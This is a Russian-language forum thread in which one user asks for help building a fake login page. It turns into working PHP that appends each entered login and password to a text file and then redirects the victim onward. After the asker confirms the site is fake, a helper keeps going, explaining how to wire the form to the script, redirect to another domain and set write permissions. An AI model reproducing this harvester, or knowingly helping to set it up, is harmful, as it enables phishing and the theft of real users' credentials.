из Form записать данные в текстовый файл

dmx

Хранитель порядка
Регистрация
22 Июн 2011
Сообщения
709
Реакции
705
Подскажите как реализовать : есть форма для ввода Логин-Пароль и кнопка отправить.
PHP:
<form method="post" action="http://site.ru/cgi-bin/auth" name="Auth" onSubmit="return CheckForm(this);">
<input type="hidden" name="page" value="">
<input type="hidden" name="post" value="">
<input type="hidden" name="login_from" value="">
	<table>
	 <tr>
		<td>
		<label class="login-form__label" for="login">Имя</label>
		</td>
		<td>
		<input type="text" id="login" name="Login" value="">
		</td>		
		</tr>
		<tr>
		<td class="login-form__td-label">
		<label class="login-form__label" for="password">Пароль</label>
		</td>
		<td>
		<input id="password" type="password" name="Password">
		</td>
		<tr>			
		<td><input id="EnterBtn" type="Submit"  value="Войти"></td>				
		</tr>
	</table>
</form>
Помогите написать обработчик, чтобы при нажатии "Войти" записывал Логин-Пароль в текстовый файл 1.txt и после этого редиректил на page2.php

Можно и неполностью, хотя бы начать.
Буду благодарен. :)
 
PHP:
<?php
$fd=fopen("./1.txt","a");
fwrite ($fd,$_POST['Login']."\t".$_POST['Password']."\n");
fclose ($fd);
header ("Location: /page2.php");
?>

только у вас странное расположение скрипта в form action
там php ли вообще?
 
  • Нравится
Реакции: dmx
thoth777 Спасибо.
А помоги пожалуйста его ещё к этой форме прикрутить
 
thoth777 Спасибо.
А помоги пожалуйста его ещё к этой форме прикрутить
запросто

первые 20 строк из site.ru/cgi-bin/auth процитируй пож
что-то у меня подозрения что тот скрипт не на php

если оно на php, то все очень просто

на сайте-то авторизация работает, или это фэйковый сайт?
 
фейк .
Это не обязательно site.ru/cgi-bin/auth
 
фейк .
Это не обязательно site.ru/cgi-bin/auth
тогда все просто

в форме пишем
<form method="post" action="auth.php">
далее то что у тебя в форме

код скрипта auth.php я уже привел

в header("Location: пишем полный URL, если это на другой домен
или путь к нужному скрипт

например

или типа того.

директория, в которой расположен auth.php должна быть доступна для записи
можно сохранять в другую директорию
тогда $fd=fopen("./имя_директории/1.php","a");

соответственно, права на запись в директорию имя_директории должны быть установлены.
 
  • Нравится
Реакции: dmx
Назад
Сверху